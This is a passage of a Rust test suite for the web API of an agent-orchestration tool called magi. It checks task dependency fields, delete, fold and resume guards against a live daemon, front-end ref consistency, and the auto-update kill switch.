7817    async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
7818        // `TaskView` flattens `Task`, so this is really asserting that
7819        // `#[serde(flatten)]` at web.rs:2530 hasn't quietly dropped a field -
7820        // e11fc58 added `blocked_by`/`block_reason`/`answers` to `Task` but
7821        // never touched web.rs, so nothing here caught it if it had.
7822        let fx = Fixture::start().await;
7823        let q = fx.queue();
7824
7825        let mut t = Task::new(
7826            "Task".to_owned(),
7827            "Instruction".to_owned(),
7828            PathBuf::from("/repo"),
7829            Source::Human,
7830        );
7831        t.block(
7832            vec!["20260101-000000-dead".to_owned()],
7833            Some("waiting on Task 1".to_owned()),
7834        );
7835        t.answers.push(crate::queue::AnsweredQuestion {
7836            question: "Which backend?".to_owned(),
7837            answer: "SQLite".to_owned(),
7838        });
7839        q.put(&mut t).expect("put t");
7840
7841        let res = fx.get("/api/queue").await;
7842        assert_eq!(res.status, 200);
7843        let list = res.json();
7844        let view = list
7845            .as_array()
7846            .expect("array")
7847            .iter()
7848            .find(|v| v["id"] == t.id)
7849            .expect("task in list");
7850        assert_eq!(view["status_str"], "blocked");
7851        assert_eq!(
7852            view["blocked_by"],
7853            serde_json::json!(["20260101-000000-dead"])
7854        );
7855        assert_eq!(view["block_reason"], "waiting on Task 1");
7856        assert_eq!(view["answers"][0]["question"], "Which backend?");
7857        assert_eq!(view["answers"][0]["answer"], "SQLite");
7858
7859        // A manual hold clears `blocked_by`/`block_reason` (`Task::hold_manual`)
7860        // but never `answers` - that is a settled decision, not state
7861        // describing the current block, so it survives.
7862        let res = fx
7863            .post(&format!("/api/queue/{}/hold", t.short()), None)
7864            .await;
7865        assert_eq!(res.status, 200);
7866        let held = res.json();
7867        assert_eq!(held["status_str"], "held");
7868        assert_eq!(held["blocked_by"], serde_json::json!([]));
7869        assert!(held["block_reason"].is_null());
7870        assert_eq!(held["answers"][0]["answer"], "SQLite");
7871    }
7872
7873    #[tokio::test]
7874    async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
7875        let fx = Fixture::start().await;
7876        let q = fx.queue();
7877        let mk = |title: &str| {
7878            Task::new(
7879                title.to_owned(),
7880                "Instruction".to_owned(),
7881                PathBuf::from("/repo"),
7882                Source::Human,
7883            )
7884        };
7885        let mut root = mk("root");
7886        root.hold_manual(Some("waiting".to_owned()));
7887        q.put(&mut root).unwrap();
7888        let mut mid = mk("mid");
7889        mid.block(vec![root.id.clone()], None);
7890        q.put(&mut mid).unwrap();
7891        let mut leaf = mk("leaf");
7892        leaf.block(vec![mid.id.clone()], None);
7893        q.put(&mut leaf).unwrap();
7894
7895        let list = fx.get("/api/queue").await.json();
7896        let find = |id: &str| {
7897            list.as_array()
7898                .unwrap()
7899                .iter()
7900                .find(|v| v["id"] == id)
7901                .unwrap()
7902                .clone()
7903        };
7904        let leaf_view = find(&leaf.id);
7905        assert_eq!(
7906            leaf_view["waits_on"],
7907            serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
7908        );
7909        assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
7910        assert_eq!(
7911            find(&mid.id)["waits_on"],
7912            serde_json::json!([format!("{} (held)", root.short())])
7913        );
7914        assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
7915    }
7916
7917    #[tokio::test]
7918    async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
7919        let fx = Fixture::start().await;
7920        let q = fx.queue();
7921
7922        // 1. A queued task with runs attached can be deleted.
7923        let mut t1 = Task::new(
7924            "Task 1".to_owned(),
7925            "Instruction 1".to_owned(),
7926            PathBuf::from("/repo"),
7927            Source::Human,
7928        );
7929        let run_id = "20260901-000000-r111";
7930        t1.runs.push(run_id.to_owned());
7931        write_run(&fx.runs(), run_id, RunStatus::Merged);
7932        q.put(&mut t1).expect("put t1");
7933
7934        // Delete by short id
7935        let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
7936        assert_eq!(res.status, 204);
7937        assert!(res.body.is_empty(), "204 No Content has no body");
7938        assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
7939        assert!(
7940            fx.runs().join(run_id).exists(),
7941            "run directory must not be deleted when its task is deleted"
7942        );
7943
7944        // 2. A task a live daemon is running is refused with 409.
7945        let mut t2 = Task::new(
7946            "Task 2".to_owned(),
7947            "Instruction 2".to_owned(),
7948            PathBuf::from("/repo"),
7949            Source::Human,
7950        );
7951        t2.status = TaskStatus::Running;
7952        q.put(&mut t2).expect("put t2");
7953        let mut beat = crate::daemon::Status::new();
7954        beat.current = vec![crate::daemon::Current {
7955            task: t2.id.clone(),
7956            run: "20260901-000000-r222".to_owned(),
7957        }];
7958        beat.updated_at = jiff::Timestamp::now();
7959        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
7960            .expect("publish a heartbeat");
7961        let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
7962        assert_eq!(res.status, 409);
7963        assert!(
7964            res.json()["error"]
7965                .as_str()
7966                .unwrap()
7967                .contains("live daemon")
7968        );
7969        assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
7970
7971        // 3. The same `running` status and an orphaned lock, with no daemon
7972        // behind either, is a leftover and deletable. Before this the phone
7973        // refused it for good: the status never changes on its own and
7974        // nothing drops a lock whose process is gone.
7975        // The daemon is killed: the file stays, the heartbeat stops.
7976        beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
7977        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
7978            .expect("leave a stale heartbeat");
7979        let mut t3 = Task::new(
7980            "Task 3".to_owned(),
7981            "Instruction 3".to_owned(),
7982            PathBuf::from("/repo"),
7983            Source::Human,
7984        );
7985        t3.status = TaskStatus::Running;
7986        q.put(&mut t3).expect("put t3");
7987        std::mem::forget(q.claim(&t3.id).expect("claim t3"));
7988        let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
7989        assert_eq!(res.status, 204);
7990        assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
7991        assert!(
7992            q.claim(&t3.id).is_ok(),
7993            "the stale lock went with it, so the id is claimable again"
7994        );
7995
7996        // 4. Missing id returns 404
7997        let res = fx.delete("/api/queue/nonexistent").await;
7998        assert_eq!(res.status, 404);
7999    }
8000
8001    #[tokio::test]
8002    async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
8003        let fx = Fixture::start().await;
8004        let runs = fx.runs();
8005
8006        // 1. Finished and folded run can be deleted along with artifacts
8007        let run_id = "20260901-000000-fold";
8008        let mut state = RunState::new(
8009            PathBuf::from("/repo"),
8010            "main".to_owned(),
8011            "abc".to_owned(),
8012            "instruction".to_owned(),
8013            Config::default(),
8014        );
8015        state.id = run_id.to_owned();
8016        state.status = RunStatus::Merged;
8017        state.candidates.push(crate::run::Candidate {
8018            index: 0,
8019            label: 'A',
8020            agent: "a".to_owned(),
8021            branch: "b".to_owned(),
8022            worktree: PathBuf::from("/w"),
8023            summary: String::new(),
8024            stat: String::new(),
8025            files: 1,
8026            commits: 1,
8027            empty: false,
8028            failed: None,
8029            verified_noop: None,
8030            duration_ms: 0,
8031            folded: true,
8032        });
8033        let dir = runs.join(run_id);
8034        std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
8035        std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
8036            .expect("write artifact");
8037        std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
8038            .expect("write run.json");
8039
8040        // Delete by short id
8041        let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
8042        assert_eq!(res.status, 204);
8043        assert!(res.body.is_empty(), "204 has no body");
8044        assert!(!dir.exists(), "run directory and artifacts must be deleted");
8045
8046        // 2. A run a live daemon is working on is refused with 409. The
8047        // heartbeat is what makes it refusable: an unfinished run with no
8048        // daemon behind it is a leftover from a killed process, and case 1
8049        // above would otherwise be impossible to tell apart from this one.
8050        let run_running = "20260901-000000-rung";
8051        write_run(&runs, run_running, RunStatus::Prep);
8052        let mut beat = crate::daemon::Status::new();
8053        beat.current = vec![crate::daemon::Current {
8054            task: "20260901-000000-task".to_owned(),
8055            run: run_running.to_owned(),
8056        }];
8057        beat.updated_at = jiff::Timestamp::now();
8058        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
8059            .expect("publish a heartbeat");
8060        let res = fx.delete(&format!("/api/runs/{run_running}")).await;
8061        assert_eq!(res.status, 409);
8062        assert!(
8063            res.json()["error"]
8064                .as_str()
8065                .unwrap()
8066                .contains("live daemon"),
8067            "the refusal must say who is holding it"
8068        );
8069        assert!(
8070            runs.join(run_running).exists(),
8071            "a run in flight keeps its directory"
8072        );
8073
8074        // 3. Finished run with unfolded candidate is refused with 409 and mentions `magi fold`
8075        let run_unfolded = "20260901-000000-unfd";
8076        let mut state2 = RunState::new(
8077            PathBuf::from("/repo"),
8078            "main".to_owned(),
8079            "abc".to_owned(),
8080            "instruction".to_owned(),
8081            Config::default(),
8082        );
8083        state2.id = run_unfolded.to_owned();
8084        state2.status = RunStatus::Ready;
8085        state2.candidates.push(crate::run::Candidate {
8086            index: 0,
8087            label: 'A',
8088            agent: "a".to_owned(),
8089            branch: "b".to_owned(),
8090            worktree: PathBuf::from("/w"),
8091            summary: String::new(),
8092            stat: String::new(),
8093            files: 1,
8094            commits: 1,
8095            empty: false,
8096            failed: None,
8097            verified_noop: None,
8098            duration_ms: 0,
8099            folded: false,
8100        });
8101        let dir2 = runs.join(run_unfolded);
8102        std::fs::create_dir_all(&dir2).expect("create dir2");
8103        std::fs::write(
8104            dir2.join("run.json"),
8105            serde_json::to_string(&state2).unwrap(),
8106        )
8107        .expect("write run.json");
8108
8109        let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
8110        assert_eq!(res.status, 409);
8111        assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
8112        assert!(dir2.exists(), "unfolded run directory is kept");
8113
8114        // 4. Missing id returns 404
8115        let res = fx.delete("/api/runs/nonexistent").await;
8116        assert_eq!(res.status, 404);
8117    }
8118
8119    #[test]
8120    fn web_ui_delete_contract_in_front_end() {
8121        // 1. API block has both delete endpoints
8122        assert!(APP_JS.contains("deleteRun:"));
8123        assert!(APP_JS.contains("deleteTask:"));
8124
8125        // 2. #runs-list card builder (createRunCard / updateRunCard) has no delete entry
8126        let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
8127            ..APP_JS.find("function renderRuns").unwrap()];
8128        assert!(!run_cards_slice.to_lowercase().contains("delete"));
8129
8130        // 3. Run detail has delete entry and reasons
8131        assert!(APP_JS.contains("renderRunDelete"));
8132        assert!(APP_JS.contains("runDeleteReason"));
8133        assert!(APP_JS.contains("magi fold"));
8134        assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
8135
8136        // 4. Two-step delete arming and focus on Cancel
8137        assert!(APP_JS.contains("cancel.focus"));
8138        assert!(APP_JS.contains("armedRunDelete"));
8139        assert!(APP_JS.contains("armedDelete"));
8140
8141        // 5. Running task has disabled delete
8142        assert!(APP_JS.contains("disabled: status === \"running\""));
8143    }
8144
8145    /// Every element a run card's updater reaches for must be in the `refs`
8146    /// the builder handed it.
8147    ///
8148    /// `createRunCard` builds its elements, appends them to the card, and then
8149    /// lists them again in `row.refs`. That second list is the one the updater
8150    /// uses, and nothing connects the two - an element can be built, appended
8151    /// and rendered, and still be missing from `refs`. `superseded` was, for
8152    /// two releases: `setText(r.superseded, ...)` threw on the first card, the
8153    /// exception took `syncList` with it, and the deck showed
8154    /// "13 runs, 2 in flight, 8 unreadable" above an empty list. The count
8155    /// line is computed before the cards, which is why the failure looked like
8156    /// a server that had lost its runs rather than a front end that had
8157    /// stopped rendering them.
8158    ///
8159    /// A `cargo test` cannot execute the front end, so this reads the two
8160    /// halves out of the source and compares them as sets. It is not a check
8161    /// on the wording of either list: adding an element, renaming one, or
8162    /// reordering them all keeps this passing, and only using one the builder
8163    /// never published fails it.
8164    #[test]
8165    fn every_ref_a_run_card_uses_is_one_its_builder_published() {
8166        let build = APP_JS
8167            .find("function createRunCard")
8168            .expect("createRunCard exists");
8169        let update = APP_JS
8170            .find("function updateRunCard")
8171            .expect("updateRunCard exists");
8172        let end = APP_JS
8173            .find("function renderRuns")
8174            .expect("renderRuns exists");
8175
8176        // The builder's published set: the object literal assigned to `refs`.
8177        let builder = &APP_JS[build..update];
8178        let open = builder.find("refs = {").expect("createRunCard sets refs");
8179        let literal = &builder[open + "refs = {".len()..];
8180        let close = literal.find('}').expect("the refs literal is closed");
8181        let published: HashSet<&str> = literal[..close]
8182            .split(',')
8183            // `name` and `name: value` both bind `name`.
8184            .filter_map(|entry| entry.split(':').next())
8185            .map(str::trim)
8186            .filter(|name| !name.is_empty())
8187            .collect();
8188        assert!(
8189            published.len() > 5,
8190            "the refs literal did not parse into names: {published:?}"
8191        );
8192
8193        // What the updaters reach for: every `r.<name>`, where `r` is the
8194        // `const r = row.refs` alias both functions open with.
8195        let mut used: Vec<&str> = Vec::new();
8196        let updaters = &APP_JS[update..end];
8197        for (at, _) in updaters.match_indices("r.") {
8198            // `r` must be the whole identifier, not the tail of another one
8199            // (`Number.parseFloat`, `pr.url`, `for.` and friends).
8200            let before = updaters[..at].chars().next_back();
8201            if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
8202                continue;
8203            }
8204            let rest = &updaters[at + 2..];
8205            let len = rest
8206                .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
8207                .unwrap_or(rest.len());
8208            if len > 0 {
8209                used.push(&rest[..len]);
8210            }
8211        }
8212        assert!(
8213            used.len() > 5,
8214            "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
8215        );
8216
8217        let missing: Vec<&str> = used
8218            .iter()
8219            .copied()
8220            .filter(|name| !published.contains(name))
8221            .collect();
8222        assert!(
8223            missing.is_empty(),
8224            "a run card's updater reaches for {missing:?}, which `createRunCard` \
8225             never put in `refs` - every card will throw and the list will \
8226             render empty under a count line that says otherwise. Published: \
8227             {published:?}"
8228        );
8229    }
8230
8231    #[tokio::test]
8232    async fn folding_from_the_phone_reports_what_it_removed() {
8233        let fx = Fixture::start().await;
8234        let runs = fx.runs();
8235
8236        // A run with no candidates has nothing to fold, which is a 200 with an
8237        // honest count rather than an error: the operator asked for the trees
8238        // to be gone and they are.
8239        let id = "20260901-000000-fold";
8240        write_run(&runs, id, RunStatus::Stalled);
8241        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
8242        assert_eq!(res.status, 200);
8243        assert_eq!(res.json()["removed_count"], 0);
8244        assert_eq!(res.json()["run"], id);
8245        assert!(
8246            runs.join(id).exists(),
8247            "a fold keeps the run's record; only the worktrees go"
8248        );
8249    }
8250
8251    #[tokio::test]
8252    async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
8253        let fx = Fixture::start().await;
8254        let runs = fx.runs();
8255        let wt = fx.home.path().join("wt").join("magi").join("dead");
8256        let id = "20260901-000000-dead";
8257        std::fs::create_dir_all(runs.join(id)).expect("run dir");
8258        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
8259        std::fs::create_dir_all(&wt).expect("worktree dir");
8260
8261        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
8262        assert_eq!(res.status, 200, "{}", res.body);
8263        assert!(
8264            res.json()["removed_count"].as_u64().unwrap() > 0,
8265            "the worktree this build could not read a state for still went"
8266        );
8267        assert!(
8268            !runs.join(id).exists(),
8269            "an unreadable run has no candidate list to fold selectively, so \
8270             the whole record goes - same as `magi fold` on the CLI"
8271        );
8272    }
8273
8274    #[tokio::test]
8275    async fn deleting_an_unreadable_run_removes_it_wholesale() {
8276        let fx = Fixture::start().await;
8277        let runs = fx.runs();
8278        let wt = fx.home.path().join("wt").join("magi").join("gone");
8279        let id = "20260901-000000-gone";
8280        std::fs::create_dir_all(runs.join(id)).expect("run dir");
8281        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
8282        std::fs::create_dir_all(&wt).expect("worktree dir");
8283
8284        let res = fx.delete(&format!("/api/runs/{id}")).await;
8285        assert_eq!(res.status, 204, "{}", res.body);
8286        assert!(!runs.join(id).exists(), "the broken record is gone");
8287        assert!(!wt.exists(), "its worktree is gone too");
8288    }
8289
8290    #[tokio::test]
8291    async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
8292        let fx = Fixture::start().await;
8293        let runs = fx.runs();
8294        let id = "20260901-000000-live";
8295        write_run(&runs, id, RunStatus::Implementing);
8296
8297        let mut beat = crate::daemon::Status::new();
8298        beat.current = vec![crate::daemon::Current {
8299            task: "20260901-000000-task".to_owned(),
8300            run: id.to_owned(),
8301        }];
8302        beat.updated_at = jiff::Timestamp::now();
8303        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
8304            .expect("publish a heartbeat");
8305
8306        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
8307        assert_eq!(res.status, 409);
8308        assert!(
8309            res.json()["error"]
8310                .as_str()
8311                .unwrap()
8312                .contains("live daemon"),
8313            "folding under a running agent would pull its worktree away"
8314        );
8315    }
8316
8317    #[tokio::test]
8318    async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
8319        let fx = Fixture::start().await;
8320        let runs = fx.runs();
8321
8322        // Only a finished run and a failed one. An *interrupted* run - a
8323        // parked one, or one whose daemon was killed mid-node - is the case
8324        // resuming exists for: run 4043 sat at `reviewing` with the deck
8325        // saying it could not be resumed, which was the one state where
8326        // resuming was the only sensible answer.
8327        for (status, word) in [
8328            (RunStatus::Merged, "merged"),
8329            (RunStatus::Ready, "ready"),
8330            (RunStatus::Failed, "failed"),
8331        ] {
8332            let id = format!("20260901-000000-{}", &word[..4]);
8333            write_run(&runs, &id, status);
8334            let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
8335            assert_eq!(res.status, 409, "{word} must not be resumable");
8336            let err = res.json()["error"].as_str().unwrap().to_owned();
8337            assert!(err.contains(word), "the refusal names the status: {err}");
8338        }
8339
8340        // And an interrupted run is accepted: 202, with the resume running in
8341        // the background. `Runner::resume` fails immediately here - the
8342        // fixture's run points at a repository that does not exist - which is
8343        // the point: the handler must not wait for it to find out.
8344        let mid = "20260901-000000-midf";
8345        write_run(&runs, mid, RunStatus::Reviewing);
8346        let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
8347        assert_eq!(res.status, 202, "an interrupted run is resumable");
8348    }
8349
8350    #[tokio::test]
8351    async fn resume_is_refused_while_the_loop_is_running() {
8352        let fx = Fixture::start().await;
8353        let runs = fx.runs();
8354        let stalled = "20260901-000000-stal";
8355        write_run(&runs, stalled, RunStatus::Stalled);
8356
8357        // The loop is busy with a *different* run, and that is still a
8358        // refusal: a manual resume must never race whatever the loop itself
8359        // is already driving, whether that is one run or several.
8360        let mut beat = crate::daemon::Status::new();
8361        beat.current = vec![crate::daemon::Current {
8362            task: "20260901-000000-task".to_owned(),
8363            run: "20260901-000000-othr".to_owned(),
8364        }];
8365        beat.updated_at = jiff::Timestamp::now();
8366        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
8367            .expect("publish a heartbeat");
8368
8369        let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
8370        assert_eq!(res.status, 409);
8371        let err = res.json()["error"].as_str().unwrap().to_owned();
8372        assert!(err.contains("othr"), "it names what the loop is on: {err}");
8373        assert!(err.contains("stop it first"), "{err}");
8374    }
8375
8376    #[test]
8377    fn a_run_cannot_be_resumed_twice_at_once() {
8378        let home = TempDir::new().expect("temp home");
8379        let ui = Ui::new(
8380            Queue::at(home.path().join("queue")),
8381            Questions::at(home.path().join("questions")),
8382            Talks::at(home.path().join("talks")),
8383            home.path().join("runs"),
8384            home.path().to_path_buf(),
8385            PathBuf::from("/repo"),
8386        )
8387        .with_worktrees_root(home.path().join("wt"));
8388        let first = ui.begin_resume("20260901-000000-once").expect("claimed");
8389        let again = ui.begin_resume("20260901-000000-once");
8390        assert!(again.is_err(), "a second tap must not start a second graph");
8391        drop(first);
8392        assert!(
8393            ui.begin_resume("20260901-000000-once").is_ok(),
8394            "and the claim is released when the attempt ends"
8395        );
8396    }
8397
8398    #[test]
8399    fn talk_thinking_tracks_only_its_held_turn_claim() {
8400        let home = TempDir::new().expect("temp home");
8401        let ui = Ui::new(
8402            Queue::at(home.path().join("queue")),
8403            Questions::at(home.path().join("questions")),
8404            Talks::at(home.path().join("talks")),
8405            home.path().join("runs"),
8406            home.path().to_path_buf(),
8407            PathBuf::from("/repo"),
8408        )
8409        .with_worktrees_root(home.path().join("wt"));
8410        let id = "20260901-000000-once";
8411
8412        assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
8413        let turn = ui.begin_talk_turn(id).expect("claim turn");
8414        assert!(ui.is_thinking(id), "the held guard is reported as thinking");
8415        assert!(
8416            !ui.is_thinking("20260901-000000-other"),
8417            "one talk's turn does not make another talk busy"
8418        );
8419        drop(turn);
8420        assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
8421    }
8422
8423    #[tokio::test]
8424    async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
8425        let fx = Fixture::start().await;
8426        // Somebody else's `magi serve` owns the queue. Replacing this binary
8427        // would leave that process running an old one against the same
8428        // claims, which is worse than refusing.
8429        let mut beat = crate::daemon::Status::new();
8430        beat.pid = 4321;
8431        beat.updated_at = jiff::Timestamp::now();
8432        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
8433            .expect("publish a heartbeat");
8434
8435        let res = fx.post("/api/upgrade", None).await;
8436        assert_eq!(res.status, 409);
8437        let err = res.json()["error"].as_str().unwrap().to_owned();
8438        assert!(err.contains("4321"), "the refusal names the owner: {err}");
8439        assert!(err.contains("old one against the same queue"), "{err}");
8440    }
8441
8442    /// [`should_spawn_recheck`] must refuse for the same two reasons
8443    /// [`Checker::new`](crate::updater::Checker::new) and `upgrade_post`
8444    /// already do: `mode = "off"` and the `MAGI_NO_AUTOUPDATE` kill switch.
8445    /// Purely a predicate over config and the environment - no network, no
8446    /// disk, no runtime - so unlike the fixture-based tests around it this
8447    /// one needs neither.
8448    #[test]
8449    fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
8450        assert!(!should_spawn_recheck(&crate::config::Update {
8451            mode: UpdateMode::Off,
8452            interval: None,
8453        }));
8454
8455        // SAFETY: single-threaded as far as this variable goes, the same
8456        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
8457        unsafe {
8458            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
8459        }
8460        let killed = should_spawn_recheck(&crate::config::Update {
8461            mode: UpdateMode::Notify,
8462            interval: None,
8463        });
8464        unsafe {
8465            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
8466        }
8467        assert!(
8468            !killed,
8469            "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
8470             one-time startup check"
8471        );
8472
8473        assert!(should_spawn_recheck(&crate::config::Update {
8474            mode: UpdateMode::Notify,
8475            interval: None,
8476        }));
8477    }
8478
8479    /// [`recheck_poll_period`] must track a configured `[update] interval`
8480    /// shorter than its own default ceiling - a fixed sleep here would leave
8481    /// an operator's short interval waiting on the next wake-up instead of on
8482    /// `should_check`, which is the same bug this whole task exists to fix,
8483    /// just one level down.
8484    #[test]
8485    fn recheck_poll_period_tracks_a_short_configured_interval() {
8486        let short = crate::config::Update {
8487            mode: UpdateMode::Notify,
8488            interval: Some("1m".to_owned()),
8489        };
8490        let period = recheck_poll_period(&short);
8491        assert!(
8492            period <= Duration::from_secs(30),
8493            "a one-minute interval must wake the task far sooner than the \
8494             default ceiling, or the deck would not notice within the \
8495             interval the operator configured: got {period:?}"
8496        );
8497
8498        let default = crate::config::Update {
8499            mode: UpdateMode::Notify,
8500            interval: None,
8501        };
8502        assert_eq!(
8503            recheck_poll_period(&default),
8504            UPDATE_RECHECK_POLL_MAX,
8505            "the default day-long interval should poll at the (capped) \
8506             ceiling rather than needlessly often"
8507        );
8508    }
8509
8510    /// [`update_recheck_due`] must not repeat a check made moments ago, the
8511    /// same throttle `updater::Checker::should_check` already gives the
8512    /// CLI's notify mode. Built over an explicit state file via
8513    /// `Checker::for_test`, never `Checker::new`, so this cannot read or
8514    /// write the operator's real `last_update_check.json` - and therefore
8515    /// cannot flake on whatever that file happens to say on the machine
8516    /// running the test.
8517    #[test]
8518    fn recheck_skips_the_network_before_the_interval_elapses() {
8519        let dir = TempDir::new().expect("temp dir");
8520        let path = dir.path().join("state.json");
8521        let state = kaishin::UpdateCheckState {
8522            last_checked_unix: jiff::Timestamp::now().as_second() as u64,
8523            last_known_latest: None,
8524            last_known_url: None,
8525        };
8526        kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
8527
8528        let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
8529        assert!(
8530            !update_recheck_due(&checker, None),
8531            "a check made moments ago must not be repeated before the \
8532             configured interval elapses"
8533        );
8534    }
8535
8536    /// An upgrade this deck already started must not be raced by a recheck
8537    /// that discovers a newer release mid-install - regardless of what
8538    /// `should_check` says, which is why the state file here is missing
8539    /// entirely: read alone, that alone would answer "never checked, go
8540    /// ahead".
8541    #[test]
8542    fn recheck_defers_to_an_upgrade_already_in_flight() {
8543        let dir = TempDir::new().expect("temp dir");
8544        let path = dir.path().join("state.json");
8545        let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
8546        let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
8547
8548        assert!(
8549            !update_recheck_due(&checker, Some(&progress)),
8550            "a recheck must not run while an upgrade this deck started is \
8551             still moving"
8552        );
8553    }
8554
8555    #[tokio::test]
8556    async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
8557        // The same env var the background check honours (`disabled_by_env`)
8558        // must also stop a button press before it ever calls
8559        // `Checker::newer_release` - an operator who set `MAGI_NO_AUTOUPDATE`
8560        // means "never contact GitHub from this process", and a tap on the
8561        // upgrade button must not override that any more than a broken
8562        // `magi.toml` may. Left unset, this fixture's default config would
8563        // otherwise reach a real, unauthenticated GitHub call.
8564        //
8565        // SAFETY: single-threaded as far as this variable goes - nothing else
8566        // in this binary reads `MAGI_NO_AUTOUPDATE` concurrently, the same
8567        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
8568        unsafe {
8569            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
8570        }
8571        let fx = Fixture::start().await;
8572        let res = fx.post("/api/upgrade", None).await;
8573        unsafe {
8574            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
8575        }
8576        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
8577        let body = res.json();
8578        assert!(body["to"].is_null(), "there was no release to move to");
8579        assert!(body["parked"].is_null(), "and nothing was parked");
8580        assert!(
8581            body["detail"]
8582                .as_str()
8583                .unwrap()
8584                .contains("disabled by MAGI_NO_AUTOUPDATE"),
8585            "{body:?}"
8586        );
8587    }
8588
8589    #[tokio::test]
8590    async fn an_upgrade_with_nothing_to_install_changes_nothing() {
8591        // `[update] mode = "off"` so `updater::Checker::new` returns `None`
8592        // and the route answers from its own logic.
8593        //
8594        // This test used to lean on the fixture's placeholder repo failing
8595        // config discovery, which left `mode = "notify"` - and a live,
8596        // unauthenticated call to the GitHub releases API inside a unit test.
8597        // GitHub allows 60 of those an hour per address, so the suite went red
8598        // on `macos-latest` and nowhere else, in bursts, and stayed red for as
8599        // long as somebody kept re-running it: every attempt spent another
8600        // request. Six reruns across four pull requests were charged to that
8601        // before it was read as a rate limit rather than a flake.
8602        //
8603        // What the assertion is about is the "already current" branch, which
8604        // is reached by there being no newer release *or* nowhere to look. The
8605        // second one needs no network and cannot be rate limited.
8606        let repo = TempDir::new().expect("repo dir");
8607        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
8608            .expect("write magi.toml");
8609        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
8610
8611        // It must answer 200 and leave the process alone: restarting for an
8612        // upgrade that did not happen parks the run in flight and drops every
8613        // connection to pay for nothing. A probe against a deck already on the
8614        // newest build did exactly that, which is how this case got its own
8615        // branch.
8616        let res = fx.post("/api/upgrade", None).await;
8617        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
8618        let body = res.json();
8619        assert!(body["to"].is_null(), "there was no release to move to");
8620        assert!(body["parked"].is_null(), "and nothing was parked");
8621        assert!(
8622            body["detail"]
8623                .as_str()
8624                .unwrap()
8625                .contains("nothing restarted"),
8626            "{body:?}"
8627        );
8628    }
8629
8630    #[tokio::test]
8631    async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
8632        // `mode = "off"` for the same reason as the test above: a default
8633        // fixture repo falls back to `mode = "notify"`, which would make this
8634        // route's new `update` field a live, unauthenticated GitHub call on
8635        // every assertion in this suite that happens to hit `/api/health`.
8636        let repo = TempDir::new().expect("repo dir");
8637        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
8638            .expect("write magi.toml");
8639        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
8640
8641        let health = fx.get("/api/health").await.json();
8642        assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
8643        assert_eq!(
8644            health["update"]["available"], false,
8645            "checking is off, which reads as \"unknown\", not \"none\""
8646        );
8647        assert!(health["update"]["to"].is_null());
8648        assert!(
8649            health["upgrade"].is_null(),
8650            "nothing has ever asked this deck to upgrade"
8651        );
8652    }
8653
8654    #[tokio::test]
8655    async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
8656        let fx = Fixture::start().await;
